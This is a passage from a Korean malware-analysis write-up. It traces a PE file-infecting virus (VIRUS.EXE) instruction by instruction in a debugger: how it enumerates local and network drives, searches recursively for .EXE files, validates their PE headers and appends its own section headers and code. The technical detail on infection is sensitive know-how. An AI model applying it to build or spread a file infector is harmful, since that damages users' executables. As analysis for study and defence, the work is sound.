그 후 아래 0040386D CALL VIRUS.00401CEF 함수를 호출하는데 함수 내부로 진입하게 되면 HeapFree(914988 환경변수 문자열을 저장했던 메모리)하여 생성했던 메모리를 초기화합니다.

 

처음 그림4에서 힙을 생성하고 생성한 힙을 사용하지않아 "왜 힙을 생성했을까?" 라고 생각했던 의문이 여기서 풀리는데요.

즉 비교적 변수에 저장하기 어려운 대용량 데이터나 가변적인 문자열을 일반 변수에 저장하기 어려운 부분이 있기 때문에 보통 힙(동적메모리)을 사용하여 그 공간에 저장 하게 됩니다. 이 때문에 힙을 생성해서 가변적인 공간을 생성한 것입니다.

데이터가 작거나 고정적인 데이터 또는 고정적인 문자열일 경우에는 힙을 생성할 필요없이 변수를 선언해서 사용하면 됩니다.

 

바이러스 메인 함수에 들어가기전 운영체제가 프로세스를 실행할때의 원리가 궁금하여 Stub code까지 전부 분석해 보았는데요.

궁금증이 어느정도 해결된거 같습니다..

 

<정리>

1. virus.exe 를 실행하면 제일처음 4096byte의 힙을 생성합니다.

2. 그 후 실행하려는 타입을 반환합니다. 분석중인 프로그램은 콘솔이였습니다.

3. 현재 실행 된 프로세스의 환경변수 와 실행 된 프로세스의 경로를 가져옵니다.

4. 환경변수를 파악 후 한줄씩 적용하고 완료시 생성된 힙을 초기화 합니다.


(2) PE 헤더정보 추출


<00401EE8 CALL VIRUS.00401945 메인함수 분석>

[그림.35]


00401EE8  CALL VIRUS.00401945 함수 내부로 Step in[F7]하여 진입합니다.

00401964 70604000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleFileNameA>] 호출하는데 실행 된 VIRUS.EXE파일의 경로를 가저와 그 아래 12FDF0의주소에 해당 경로를 저장합니다.


[그림.36]


연속으로 실행되는 프로세스의 경로를 가저오고 난 후 GetModuleHandle함수를 호출하여 프로세스의 베이스주소 값을 리턴하게 됩니다.

리턴 된 값은 EAX레지스터에 저장되며 그 값은 00400000입니다.


[그림.37]


리턴된 값 00400000베이스주소를 PEview로 확인결과 정확이 일치합니다.


[그림.38]


베이스주소를 구한 후 EAX값 VIRUS.00400000을 407B94주소에 저장합니다.

저장 후에 아래 명령 0040197F ADD ECX,EAX 으로 00400000(베이스주소) + C8 = 004000C8의 연산을 진행합니다.

004000C8의 주소값은 "PE" 문자열의 주소를 가르킵니다.

아래 00401987 CMP DWORD PTR DS:[ECX],4550 명령에는 004000C8(PE)가 실행파일인지 비교를 합니다. 4550은 PEview로 확인하면 PE Hex Code임을 확인 할 수 있습니다.


[그림.39]


이 또한 PEview로 확인한 결과 입니다.


[그림.40]


계속 디버깅 하다보면 004019B4 907B4000 MOV DWORD PTR DS:[407B90],EDX 명령어가 나옵니다.

여기서는 실행파일의 .text section을 가져옵니다.

참고로 .text section은 실제 코드가 들어있는 섹션이며, 지역변수 등을 담고있는 섹션입니다.


[그림.41]


PEview확인결과 일치합니다.


[그림.42]


계속 디버깅 하다보면 004019C8 MOV ESI,VIRUS.00401932(33 C0 50 50) 명령어가 나옵니다.

.text section의 00401932(33 C0 50 50)의 주소를 ESI레지스터에 저장하고 아래 004019CD SUB ESI,EAX

연산으로 베이스주소값 4000000값을 ESI(401932)값과 마이너스 연산하여401932 - 400000  = 1932 값을 ESI레지스터에 저장합니다.

00401932 는 뒤에서 확인 할 수 있겠지만 스레드 함수의 주소입니다.


[그림.43]


.text section의 00401932(스레드 주소) 값을 그림28과 그림29 PEview에서 확인 하였습니다.


[그림.46]

 

그림.46에서 [00400168]=0000A000값이 나오는데 이값은 IMAGE_OPTIONAL_HEADER의 BASE RELOCATION TABLE의 RVA값으로 확인 할 수 있습니다.

(4회전)

[그림.47]

 

반복문 처음으로 돌아와 보면 004019E6 MOV EDX,DWORD PTR SS:[EBP-8] 명령어로 EDX레지스터에 00400244 주소값을 저장하는데 이 값은 IMAGE_SECTION_HEADER .reloc 섹션의 RVA값 0000A000값입니다.

그리고 004019EB 주소에서 비교를 하는데 EDX값과 00001E39값을 비교합니다.

0000A000(EDX) - 00001E39 = 000081C7 결과는 양수가 나왔고 EDX값이 더 큰것으로 나와 아래 조건문을 만족하여 00401A15주소로 점프합니다.


[그림.48]

 

그림.47에서 IMAGE_SECTION_HEADER .reloc 섹션의 RVA값 0000A000를 PEView에서 확인 할 수 있습니다.

 

[그림.49]

00401A15주소까지 점프 하고 디버깅하면 바로 아래 명령어 00401A18주소의 명령어까지 실행합니다.

해당 명령어는 DS:[00400148]=000064D4 값을 EBX레지스터에 저장하는데 000064D4는 IMAGE_OPTIONAL_HEADER의 IMPORT Table의 RVA값입니다.

명령어를 00401A23주소까지 진행 하면 비교문이 나오고 0000A000(RVA) - 000064D4(IMPORT Table) = 00003B2C 결과값이 양수입니다. 그래서 EDX값이 더 큰것으로 나오게 되며, 조건이 성립되어 00401A4C주소로 점프합니다.



[그림.50]

그림.49에서 IMAGE_OPTIONAL_HEADER 섹션의 IMPORT Table RVA값 000064D4를 PEView에서 확인할 수 있습니다.


[그림.51]

 

00401A4C 까지 명령어를 실행하면 00401A51에서 비교문이 나오는데 이 비교문에서 0000A000값과 0000A000값을 비교하고 결과값이 0이나와 아래 00401A57에서 조건이 성립하지 않아 점프하지 않게 되고 00401A59번지 명령어를 실행하게 됩니다.


그림.51의 박스 안의 주소 00401A59 ~ 00401A71까지 명령어 실행 과정입니다.

EDX레지스터에 Stack SS:[0012FF74]=00000003 값을 저장합니다.

EDX값 00000003을 004079C0에 저장합니다.

DS:[00400240]=000006E6 EDX 레지스터에 000006E6 값을 저장합니다.

EDX값 000006E6을 004079C4에 저장합니다.

DS:[0040016C]=000005C0 EDX 레지스터에 000005C0 값을 저장합니다.

EDX값 000005C0 를 004079C8에 저장합니다.

박스의 과정을 정리하면 004079C0 ~ 004079C8의 빈 공간에 각각 4바이트의 크기로 00000003, 000006E6, 000005C0값을 저장합니다.

값의 사용은 그림.91에 나옵니다.


총 4회(해당 프로그램의 섹션의 수) 만큼 반복이 이루어 젔으며 조건이 성립되어 반복문을 빠저나와 00401C39 주소로 점프합니다.


<정리>

1. GetModuleHandle 함수를 호출하여 프로세스의 BaseAdress를 리턴합니다. 리턴값은 00400000이며 이 값은 PE구조의 ImageBase의 해당하는 값입니다.

2. 0040197F ADD ECX,EAX 연산을 하는데 00400000(Base Adress) + 000000C8(e_lfanew) = 004000C8의 결과 값이 나오며, 이 값은 PE구조의 PE 문자열(4550h)의 해당하는 값입니다.(Base Adress 와 e_lfanew 값을 더하여 "PE" 문자열의 주소값을 계산하는 연산입니다.)

3. 004000C8(PE) 실행 된 PE파일의 PE문자열과 4550(PE)가 같은 값인지 비교하는데 이 것은 실행 된 파일이 실행가능한 PE파일인지 확인하는 과정입니다.

4. 004019B4 907B4000 MOV DWORD PTR DS:[407B90],EDX로 004001C0값을 저장하는데 004001C0값은 실행파일의 .text section 주소를 의미합니다.

5. 004019CD SUB ESI,EAX 연산으로 ESI(00401932) - ImageBase(004000000) = 1932의 값을 ESI레지스터에 저장합니다.

6. 004019DD ADD EDX,0C 연산을 하는데 이것은 004001C0(.TEXT) + 0000000C = 004001CC값이 나오며, 이값은.Text section의 RVA값입니다.


(1회전 반복문)

7. 반복문에 진입하고 PE의 섹션의 수(VIRUS.EXE는 4개의 섹션으로 구성) 만큼 반복문을 진행합니다.

8. .text section의 RVA값 00001000을 가져옵니다.

9. IMAGE_FILE_HEADER의 Size Of Raw Data값 00005000을 가져옵니다.

10. 00005000 + 00001000 = 00006000 .text RVA값과 Raw Data값을 더하여 00006000값으로 만듭니다.

11. IMAGE_OPTIONAL_HEADER의 Adress of Entry Point 값 00001E39를 가져옵니다.

12. Stack SS:[0012FF74]=00000000 1증가 후 004001CC .text RVA값에 28h를 더해 004010F4주소값을 만들며 이는 다음섹션 즉 .rdata RVA값의 주소를 의미합니다.0012FF74의값 1세팅 1회전 반복 종료


(2회전 반복문)

13. .rdata section의 RVA값 00006000을 가져옵니다.

14. IMAGE_OPTIONAL_HEADER의 Import Table의 RVA값 000064D4 가져옵니다.

15. 004000000 + 000064D4 = 004064D4 BaseAdress와 Import Table의 RVA값을 더하여 IMPORT Directory Table 의 Import Name Talbe RVA값을 가져옵니다.0012FF74의값 2세팅 2회전 반복 종료


(3회전 반복문)

16. .data section의 RVA값 00007000을 가져옵니다.

17. IMAGE_OPTIONAL_HEADER의 Import Table의 RVA값 000064D4 가져옵니다.

18. IMAGE_OPTIONAL_HEADER의 BASE RELOCATION Table 값 0000A000을 가져옵니다.

19. 00007000 - 0000A000 = FFFFD000 비교연산 후 아래JNZ 조건문에서 조건이 성립되어 0012FF74의값 3세팅 3회전 반복 종료


(4회전 반복문)

20. .reloc section의 RVA값 0000A000을 가져옵니다.

21. IMAGE_OPTIONAL_HEADER의 Import Table의 RVA값 000064D4 가져옵니다.

22. 0000A000 - 000064D4 = 00003B2C IMAGE_OPTIONAL_HEADER의 BASE RELOCATION Table 값 0000A000와 IMAGE_OPTIONAL_HEADER의 Import Table의 RVA값 000064D4를 비교연산 하며, 결과는 양수 즉 IMAGE_OPTIONAL_HEADER의 BASE RELOCATION Table 값 0000A000가 더 큰것으로 나옵니다. 결과가 성립되어 00401A4C주소로 점프하게 됩니다.

23. 00401A4C에서 00401A59번지 까지 연산을 진행하면 0000A000 - 0000A000 = 00000000 비교연산이 진행되며, JNZ 조건문이 성립되지않아 반복문 끝의 연산까지 진행된다.

24. 004079C0 주소에 000000003을 저장한다.

25. 004079C4 주소에 0000006E6을 저장한다.

26. 004079C8 주소에 0000005C0을 저장한다.

27. 총 4회 섹션의수 만큼 반복하여 각 섹션에 대한 정보를 가져오고 반복문을 종료한다.


(3) 프로그램 내의 스레드 실행 과 EXE 실행파일 탐색


그림51 에서 00401A97 에서 JMP문을 만나 그림 52부분으로 넘어와 실행합니다.

여기부터는 총 2개의 스레드를 생성하고 각각 메세지박스를 띄우는 스레드 하나, 각 시스템상 드라이브 타입을 구하고 로컬드라이브와 네트워크공유 드라이브인 경우 드라이브 최상위 부터 EXE(실행파일)을 찾으며, 찾은 실행파일에 대해 PE부분을 감염시키는 행위를 합니다.


[그림.52]

 

00401C48의 GetCommandLineA함수로 C:\Users\DK64\Desktop\win32\VIRUS.EXE 문자열이 저장되어 있는 메모리 주소를 파라미터로 넘기고 00401932 스레드 호출합니다.


[그림.53]

 

00401932 스레드 호출 시 Process Explorer로 스레드가 생성된 상태를 확인할 수 있습니다.



[그림.54]

 

그림 54에서 initialOwner 파라미터에 FALSE 값을 인자로 넘기면서 먼저 차지하는 스레드가 소유할 수 있는 옵션을 할당하여 뮤텍스를 생성합니다.

[그림.55]

 

00401C9C에서 전달 인자 없이 00401892 대기상태의 두 번째 스레드를 호출 합니다.

해당 스레드는 THREAD_PRIORITY_ID를 인자로 SetThreadPriority 함수를 호출하며, 스레드 실행 우선순위를 낮추고 ResumeThread함수로 대기상태의 스레드를 실행합니다.

이후 WaitForSingleObject 함수로 두번째 스레드가 실행이 완료 될 때 까지 INFINITE 무한 대기상태로 빠지게 됩니다.



[그림.56]

 

그림56은 그림55에서 두 번째 스레드를 호출 시 생성된 스레드를 확인합니다.
여기서 첫 번째와 두 번째 스레드가 생성되기 전에 3336스레드가 먼저 기본적으로 있었는데요.

이것은 하나의 프로세스는 기본적으로 하나의 스레드를 소유하고 있기 때문에 스레드는 총 3개로 볼 수 있습니다.


[그림.57]

 

00401932 첫번째 스레드 가 실행되며, 스레드의 기능은 단순히 메세지박스를 띄우고 리턴 합니다.

 

[그림.58]

스레드를 실행했을때 화면입니다.

 


[그림.59]

첫번째 스레드 종료 후 두 번째 스레드 00401892스레드가 실행됩니다.

해당 스레드가 실행되면 처음에 하는 역할이 GetLogicalDrives함수를 호출하게 되는데 이 함수의 역할은 현재 시스템에 설치되어 있는 디스크 드라이브에 대한 정보를 비트열로 반환합니다.

 

[그림.60]

제가 분석중인 시스템에는 A,C,D 총 3개의 드라이브를 사용 중입니다.

그림 59에서 함수리턴값이 0000000D입니다. 이것을 16진수에서 2진수로 변환하면 1101로 변환이 되고 1101을 오른쪽부터 읽습니다. 1101 = D,C,B,A 각 해당 문자열의 드라이브 타입이 있다면 1없으면 0이므로 제 시스템은 A,C,D의 드라이브가 있는것으로 확인 할 수 있습니다.

 

[그림.61]


그림 61에 004018BA 에서 ADD AL,41명령을 실행하고 이 값을 EAX레지스터에 저장합니다.

여기서 ADD AL,41의 41은 ASCII CODE로 A값을 뜻합니다.

GetDriveTypeA함수의 인자값으로 드라이브 타입을 아스키코드로 넘긴 후 호출하는데, 리턴값은 정수로 리턴합니다.


각각의 정수가 의미하는 값에 대한 설명입니다.


DRIVE_UNKNOWN 0 알 수 없음
DRIVE_NO_ROOT_DIR 1 최상위 경로가 없음
DRIVE_REMOVABLE 2 이동형 저장장치(USB등)
DRIVE_FIXED 3 고정형 저장장치(하드디스크)
DRIVE_REMOTE 4 네트워크 Drive(공유디스크)
DRIVE_COROM 5 DVD/CD-ROM 
DRIVE_RAMDISK 6 Ram Disk


004018C9, 004018CE에서 각각 3,4를 비교하는데 이는 로컬하드디스크와 공유디스크만 검색 하겠다는 뜻 입니다.

이후 조건이 성립하여 004018D7함수를 호출합니다.



[그림.62]

함수 호출 후 처음 SetCurrentDirectoryA 함수로 C:\의 위치로 세팅합니다.


[그림.63]

FindFirstFileA함수로 LPWIN32_FIND_DATA 구조체 변수 주소와 "*.EXE" 값을 인자로 넘기고 함수를 호출 하는데 함수호출 실패시 INVALID_HANDLE_VALUE(-1=FFFFFFFF)값을 리턴합니다.

C:\에 EXE파일이 없으므로 00401803으로 점프합니다.


 

[그림.64]

명령어를 계속실행하면 0040181A에서 FindFirstFile 함수를 호출하며 이때는 "*"를 인자로 넘김으로써 모든 파일 및 디렉토리를 찾습니다.

 


[그림.65]

0040182D ~ 0040183A 까지 보면 PUSH명령에서 $Recycle.Bin 을 인자로 넘기고 함수를 호출하는데 "도대체 저 문자열은 무엇일까?" 궁금해서 검색을 하니 휴지통 관련된 것 이라고 나옵니다.

저의 로컬 디스크 C:\에는 4개의 디렉토리밖에 없는데 뭔가 해서 혹시 숨겨지거나 시스템 관련 된 히든속성의 디렉토리인가? 라는 생각이 들었습니다.



[그림.66]

짐작 했던대로 역시 4개의 디렉토리 외에 별도로 여러가지 디렉토리가 있었고 디렉토리를 알파벳순으로 탐색하면서 실행파일 EXE만 찾는 행위를 합니다.

 

[그림.67]

다음 명령을 보면 SYSTEM 문자열과 2E(ASCII "." 콤마)문자열일 경우 0040186B로 점프합니다. 바로아래 함수 00401760를 건너 뜁니다.


 

[그림.68]

그림 67에서와 같이 SYSTEM 문자열과 2E(ASCII "." 콤마)가 아닌 경우 00401760함수를 호출하는데 이 함수의 역할은 재귀함수를 호출하는 역할입니다.

즉 그림 62의 과정을 다시 반복하여 SetCurrentDirectory함수부터 시작해서 EXE파일을 다시찾고 없으면 다시 디렉토리를 찾는데 여기서 SYSTEM과 SYSTEM 문자열과 그리고 2E(ASCII "." 콤마)가 아닌 디렉토리만 찾는과정을 반복적으로 진행합니다.

 

[그림.69]

루틴을 돌며 실행파일이 있을경우 CreateFile함수로 파일을 오픈합니다. 여기서 오픈은 파일을 실행해서 오픈하는것이 아닌 파일을 읽고 쓰기위한 준비 과정이라고 보시면됩니다.

파일 오픈 후 GetFileTime함수로 해당 실행파일의 만든날짜, 수정한날짜, 엑세스한날짜를 가져옵니다.

그 다음 4017CE번지의 함수를 호출하는데 이 부분 분석을 진행 하겠습니다.


(4) 정상 실행 파일의 PE헤더 비교


<004011F0 CALL VIRUS.00401022 함수 분석>


이 함수의 주 역할은 감염되는 파일의 PE헤더정보를 가저오며, 이 함수에서 제시한 조건이 하나라도 성립되지 않을 시 함수를 빠저나가는(리턴주소)로 분기 하게끔 되어있습니다.

 

[그림.70]

그림 68에서 004017CF 함수내부로 들어오면 그림69 에서 00401022의 또 다른 함수를 호출합니다. 이 부분 역시 분석을 진행해야 하므로 Step in(F7)하여 진입합니다.


[그림.71]

함수내부로 들어오면 ReadFile함수로 파일의 64바이트(40h) 만큼 읽습니다.

읽고나면 아래 메모리덤프에 4D5A(IMAGE_DOS_SIGNATURE MZ)부터 E8(e_lfanew)까지 읽었다는것을 확인 할 수있습니다.

00401045 ~ 0040105B 를 보면 함수 호출 후 40h와 비교를 합니다. 이것은 ReadFile함수 호출 후 40h(64바이트) 만큼 읽었는지 확인을 하는것이며, 아래 5A4D는 실행파일의 MZ시그니쳐를 확인 함으로써 실행파일인지 체크를 하는 것 입니다.

 

[그림.72]

SetFilePointer함수로 현재위치의 파일포인터로부터 E8(232)만큼 떨어진곳까지 옮깁니다.

즉 IMAGE_NT_HEADER까지 옮기게 됩니다.

 

[그림.73]

지금까지 감염시키는 파일의 IMAGE_DOS_HEADER부터 MS-DOS STUB까지 읽고 파일포인터를 IMAGE_NT_HEADERS의 위치까지 옮긴 후 IMAGE_NT_HEADERS끝까지 읽어 들입니다.

이후 그림 70과 같이 읽어들인 파일크기가 같은지 IMAGE_NT_HEADERS의 첫 시작 시그니쳐 PE가 맞는지 체크하고 틀릴경우 함수의 마지막 리턴부분으로 분기조건에 의해 점프합니다.

 

[그림.74]

그림 32에 4019CF주소를 보면 4079A4에 EDI값 4를 저장합니다.
그리고 EDI값 만큼 반복을하는데 이 값은 VIRUS.EXE실행 파일의 섹션의 수를 저장했던 값 입니다.

그 값과 961C0004 + 4(VIRUS.EXE 섹션의 수)를 연산합니다.

00401CF까지 실행하면 마지막 MOVZX EAX,AX로 0140을 32비트로 확장하여 00000140(생성 할 동적메모리의 사이즈)으로 EAX에 저장 합니다.

 

[그림.75]
004010D2 에서 연산결과로 나온값을 사이즈(140)을 인자로 넘겨서 GlobalAlloc함수로 동적메모리를 할당 합니다.
이 후 VIRUS.EXE 악성코드 현재 위치 에서부터 파일을 읽게 되는데 그 위치는 IMAGE_SECTION_HEADER .text의 Name값 2E746578부터 읽어서 악성코드의 마지막 섹션 IMAGE_SECTION_HEADER .rsrc까지 각각 섹션헤더의 정보를 가져와 002EFAA8부터 140만큼 읽어 들입니다.
그림 75를 보면 노란박스가 각 섹션헤더의 Name값이고 작은 빨간박스가 첫 번째 .text섹션의 Name, VirtualSize, RVA등의 정보입니다.
각 섹션 Name의 뒤에는 해당하는 섹션의 정보를 가저옵니다.

 


[그림.76]
00401129 ~ 0040115A까지 분석을 진행 한 내용이며 헤더 내용을 체크합니다.

1. 00401135에서 3C8값과 IMAGE_OPTIONAL_HEADER의 Size Of Header값 400과 비교하여 3C8값이 Size Of Header값보다 크면 분기문으로 종료합니다.

2. 00401149 아래 명령에서 IMAGE_NT_HEADER에 IMAGE_OPTIONAL_HEADER의 Adress Entry Point값 3DA6와 바로 위에서 연산한 4000값과 비교해서 Adress 
Entry Point가 크거나 같으면 리턴문으로 점프하여 종료합니다. 하지만 조건이 성립되지 않으므로 분기 하지 않습니다.

3. 00401151에서 01값과 20값을 TEST연산으로 BYTE로 잘라 비교 연산 하는대 이 값은 IMAGE_FILE_HEADER의 Characteristics 값 입니다.
Characteristics 값중 0100은 IMAGE_FILE_32BIT_MACHINE값으로 32비트 실행파일을 의미하며, 0200은 DLL파일을 의미합니다.
비교 후 DLL파일이 아닌 실행파일 이므로 리턴주소로 분기하지않고 다음 로직을 실행합니다.

4. 그리고 0040117D에서 ADD 연산을 하게되는데 .rsrc의 Size of Raw Data(2E00) 값과 Pointer to Raw data(5600)값을 더한 결과값 8400을 EDX에저장합니다.
이후 아래 명령 0040117D에서 SetFilePointer에서 리턴한 파일포인터값 8400과 위에서 연산한 8400과 비교를하고 같지 않을 경우 리턴주소로 분기합니다.

5. 마지막으로 00401183에서 00002D30(.rsrc의 Virsual Size 값 )과 00002E00(.rsrc 의 Size of Raw Data값) 값을 비교하는데 아래 명령에서 JA 명령어를 사용하므로 .rsrc의 Virtual Size값 00002D30이 Size of Raw Data 00002E00보다 크면 리턴으로 분기 합니다.
 

 

[그림.77]
그림 75에서 가저왔던 PE헤더의 정보를 확인 할 수 있습니다.
이로써 00401022 함수분석이 끝났습니다.


<정리>
1. 타겟 PE헤더 정보를 읽습니다. 처음 4D5A(IMAGE_DOS_SIGNATURE MZ)부터 E8(e_lfanew)까지 읽습니다.
2. E8(e_lfanew)까지 읽고 파일포인터를 E8(e_lfanew)로 옮깁니다. 즉 IMAGE_DOS_HEADER를 읽고난 후 IMAGE_NT_HEADER를 읽기위해 포인터를 옮깁니다.
3. E8까지 옮긴 후 타겟 파일이 PE파일인지 체크하고 PE가 아닐경우 리턴문으로 분기합니다.
4. Size Of Header, Adress Entry Point, Characteristics,SetFilePointer에서 리턴한 파일포인터값,Virtual Size 값들을 체크하고 조건에 맞지 않을경우 함수를 빠저나와 다른 실행 파일을 찾는 역할을 합니다.

(5) 감염대상의 파일 수정 후 코드 복사

<004011F0 CALL VIRUS.004011D6 함수 분석>
그림 69에 보면 4011D6의 함수 루틴을 보면 이 함수 안에서 00401022(PE헤더정보 읽는 함수)를 호출했고 호출완료 후 이어서 분석이 진행됩니다. 

 

[그림.78]
위에서 분석 된 PE헤더정보의 조건이 하나라도 만족하지 않을시 분기문으로 점프하여 리턴하며, 리턴 후 TEST명령으로 리턴값이 0일경우 다시 루틴의 처음 부분인 디렉토리와 파일을 찾는부분 부터 다시 진행이 됩니다.
004011F8의 분기문에서 PE헤더의 정보를 정상적으로 읽어왔기 때문에 분기하지 않고 로직을 이어서 실행합니다.
004011FE ~ 00401221까지의 분석내용입니다.
각각 3개의 레지스터 ESI, EAX, ECX에 PE정보를 저장합니다.
ESI 에는 0004를 32비트 확장하여 00000004(Number of Section)로 저장합니다
EAX 에는 IMAGE_OPTIONAL_HEADER의 Address Entry Point 00003DA6을 저장합니다.
ECX 에는 IMAGE_OPTIONAL_HEADER의 IMPORT Table data 5010의 주소값을 ECX저장합니다.
이 후 EAX값을 백업하고 다시 EAX값에 .text섹션의 시작주소 002B0E90을 저장합니다.
그리고 00000004(Number of Section)와 00000000을 비교하여 섹션값이 0보다 작거나 같다면 분기합니다.

 


[그림.79]

2회전 0040122C ISH-.rdata의Size of Raw Data(1C00)값을 EBX에 저장 합니다.
004012FF에서 기존 EBX값 RVA(1000)+Size of Raw Data(3000) =4000에 1C00를 더하여 5C00으로 만듭니다.

이 후 5C00 과 401233의 5010(IOH-IMPORT Table)과 비교합니다.
RVA와 Size of Raw Data값을 더한값 5C00이 더크므로 반복문을 빠저나와 0040123F로 분기합니다.
401242에서 OR BYTE PTR DS:[EAX+ECX*8+27],80 명령문에서 [EAX+ECX*8+27]이 부분을 확인하면, EAX는 .text섹션의 시작주소 002EFAA8이고 ECX는 바로위에서 계산한 주소값입니다.
즉 .text섹션의 시작주소 [002EFAA8+(5*8)+27]의 식이 성립되며, 계산을 하면 002EFAF7=40('@') 결과가 나옵니다.
이 값을 확인하면 .rdata섹션의 characteristics 40000040의 제일 마지막값 40임을 확인 할 수 있습니다.
이제 00401242에서 40, 80을 OR연산하게 되고 결과로 C0값을 갖게되어 characteristics 값은 C0000040의 값이 되며, 이값의 의미는 80000000 값 IMAGE_SCN_MEM_WRITE 을 추가한 것입니다.
정리하면 .data 섹션의 characteristics 값에 IMAGE_SCN_MEM_WRITE 옵션을 추가하여 .data섹션의 쓰기권한을 부여합니다.


[그림.80]

401259 번지에서 MOV EDX,DWORD PTR DS:[EBX+EAX-1C]의 명령을 실행하는데 실행하기 전 EBX에는 14의값을 SHL EBX,3명령으로 000000A0으로 만듭니다.
그래서 [EBX+EAX-1C] 이 부분은 [000000A0+00190E90-1C]가 되며, 이 주소의값 4바이트를 EDX에 저장하합니다. 저장되는 값은 00007000으로 ISH-.rsrc값입니다.


[그림.81]

그림 79에서 00401262의 JNZ분기문을 그림 80의 004012D2로 이동하게 됩니다.

이 부분은 004012DA에서 IOH-Size of image 0000A000 값을 EAX저장 하는데 이것은 감염대상의 실행파일이 메모리를 차지할 크기를 의미합니다.

이후 004012E6와 004012F9에서 Size of image 값을 각각 014FFDD8과 004079D0에 저장하고, 파일포인터를 파일의 제일 끝으로 이동합니다.


[그림.82]


※중요

004012FF, 00401308, 00401318 3개의 라인입니다.

이 부분은 ESI와 EDI 레지스터를 각각 주소값으로 세팅하는데 ESI레지스터에는 VIRUS.EXE PE Header의 IMAGE_SECTION_HEADER .text의 시작 주소값 00401C0로 세팅하여 저장합니다.

EDI레지스터에는 감염대상(EX:String.exe)의 PE header의 IMAGE_SECTION_HEADER .rsrc의 끝나는 바로 뒷부분의 빈공간의 시작주소로 세팅하게 됩니다.

세팅이 완료되면 00401318 명령에서 VIRUS.EXE PE Header의 IMAGE_SECTION_HEADER의 총사이즈만큼 감염대상의 빈공간에 저장을 하며 저장을 할 때 4바이트씩 복사를 합니다.



[그림.83]

악성코드 VIRUS.EXE의 IMAGE_SECTION_HEADER입니다.

정확한 확인을 위해 그림.84에 악성코드와 감염대상의 PE구조를 첨부 하였습니다.

그림84와 비교 시 악성코드의 IMAGE_SECTION_HEADER을 확인 할 수 있습니다.



[그림.84]

그릶83은 감염 대상(EX:String.exe) 파일의 IMAGE_SECTION_HEADER .rsrc 의 다음 1바이트 부터 160바이트의 크기의 빈공간입니다.

악성코드는 이 공간에 28h(40d * 4바이트)씩 자신의 IMAGE_SECTION_HEADER를 복사합니다.


 

[그림.85]

그림81 부터 그림84까지의 내용을 확인 하면 정확히 일치합니다.

 

 

[그림.86]

00401334에서 GlobalAlloc 함수로 4096Byte 크기의 Heap을 생성 합니다.

이때 생성된 Heap의주소는 001F0C40주소로 할당이 됩니다.(힙이 생성되는 주소는 랜덤)

할당한 후 힙의 생성이 실패하면 로직의 끝 이동하여 종료합니다.

0040134C에서 ECX레지스터에 VIRUS.EXE 의 .text섹션의 시작주소 004001C0를 저장합니다.

0040135A ~ 0040135D까지보면 생성한 Heap의 시작주소 001F0C40에 8을 더하여 001F0C48로 만듭니다.

00401362에서 ※ECX(.TEXT 4001C0)+EAX(F)*8+C=400244 reloc의 rva값 0000A000를 ESI에저장합니다.

[ 그림.87]

00401379에서 ADD ESI,DWORD PTR DS:[407B94]명령이 나오는데 이것은 VIRUS.EXE의 IMAGE_BASE값에 .reloc섹션의 RVA값 0000A000를 더하여 .reloc 섹션의 Virual Adress를 얻습니다.

다음으로 00401382에서는 그림.87에서 할당 한 Heap주소(EDI)에 VIRUS.EXE의 .reloc 섹션의 값(ESI)을 4바이트씩 복사합니다.

그리고 00401399에서 .text의 시작주소를 EAX에 저장합니다.


[그림.88]

그림.84에보면 감염대상의 IMAGE_SECTION_HEADER 뒤의 빈 공간의 VIRUS.EXE자신의 IMAGE_SECTION_HEADER를 복사했었습니다.

그림.88의 004013C1 ~ 004013EE까지는 복사 한 섹션헤더의 정보를 수정하는 작업을 합니다.

첫 번째 감염대상파일의 .text Pointer of Raw Data(005FFB5C=00001000)값을 00008400(파일포인터 값값)으로 변경합니다.

두 번째 감염대상파일의 .text RVA(005FFB54=00001000)값을 0000A000으로 변경합니다.

그리고 004013D5에서 IOH의 FILE Alignment값 200을 014DFDD8주소에 저장합니다.

세 번째로 004013E2에서 감염대상파일의 .text 의 Size of Raw Data값 00005000을 00005000으로 변경 시도를 하지만 값이 같기때문에 변화는 없습니다.


[그림.89]

위의 그림에서 와 같이 복사한 IMAGE_SECTION_HEADER의 .text Section의 RVA, Size of Raw Data, Pointer to Raw Data 3개의 값을 변경하고 조건문에 의해 분기합니다.

 

[그림.90]


 

분기 후 VIRUS.EXE파일의 Image Base 00400000 과 .text 섹션의 Pointer to raw data 00001000값을 더하여 .text 섹션의 rva값으로 세팅을 하고 004014AC 부분에 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 명령으로 동적메모리를 할당한 영역의 주소에 .text 섹션전체를 4바이트씩 저장합니다.

 

[그림.91]

 

이어서 위의 그림에서는 004014B5에서 ESI에 VIRUS.004000C8("PE") 시그니쳐의 시작주소를 세팅합니다.

그리고 ESI에는 VIRUS.EXE의 .reloc SECTION의 첫 시작주소 값 0020E420으로 세팅합니다.

각각 ESI와 EDI값을 세팅 한 후 0020E420에 5C0값을더하여 0020E9E0으로 세팅하여 스택에 저장합니다.

그림.51에서 3개의 값을 레지스터에 저장했었는데 3개중의 1개의 값 5C0를 더하는 것입니다.

 

[그림.92]

 

이 부분의 루틴은 0040152D에서 [EBP-8]이 가르키는 주소값에 2를 더하여 저장하고, D4h(212)만큼 루프가 진행되는 로직입니다.

예로 0028E64C라는 값이 EBP-8이 가르키는 값이라고 가정합니다. 이때 0028E64C값이 가르키는 값 30A53085에서 2바이트 3085를 AX값에 저장합니다.

그럼 값은 0028E64C가아니라 00283085가 됩니다. 그리고 이 값을 EDI레지스터에 저장합니다.

그리고 AND DL,0F000 명령을 실행하여, 00283000값으로 변경하고 CMP DL,3000 을 실행하여 JNZ분기문을 실행하는데 결과로 ZF= 1이므로 분기하지 않게 됩니다.

여기까지가 004014FE ~ 00401510까지의 내용입니다.


이어서 생성된 힙 주소를 EDI에 세팅하고, EAX값 00283085 를 0FFF와 AND연산하여 00000085로 EAX값을 세팅하고, 힙 주소 00291208에 85를 더하여 0029128D값으로 EAX를 세팅합니다.

그리고 0040152B라인의 명령어를 보면 0029128D가 가르키는 곳에 00009000을 더하게 되며, 아래와 같이 루프를 반복 하게 됩니다.

 

[그림.93]

 

그림.92에서 00009000더하고 그림 93에서는 코드를 타겟 대상에 복사를 합니다.

 

 

[그림.94]

 

처음은 5000(20480),1000(4096),1000(4096)크기로 감염대상파일에 코드를 복사합니다.

 

[그림.95]

 

그림.94에서 코드를 복사했고 그 만큼 파일 사이즈도 늘어나며 PE구조도 변경 됬습니다.

그리고 그림.95에서는 변경된 정보를 수정하고 있습니다.

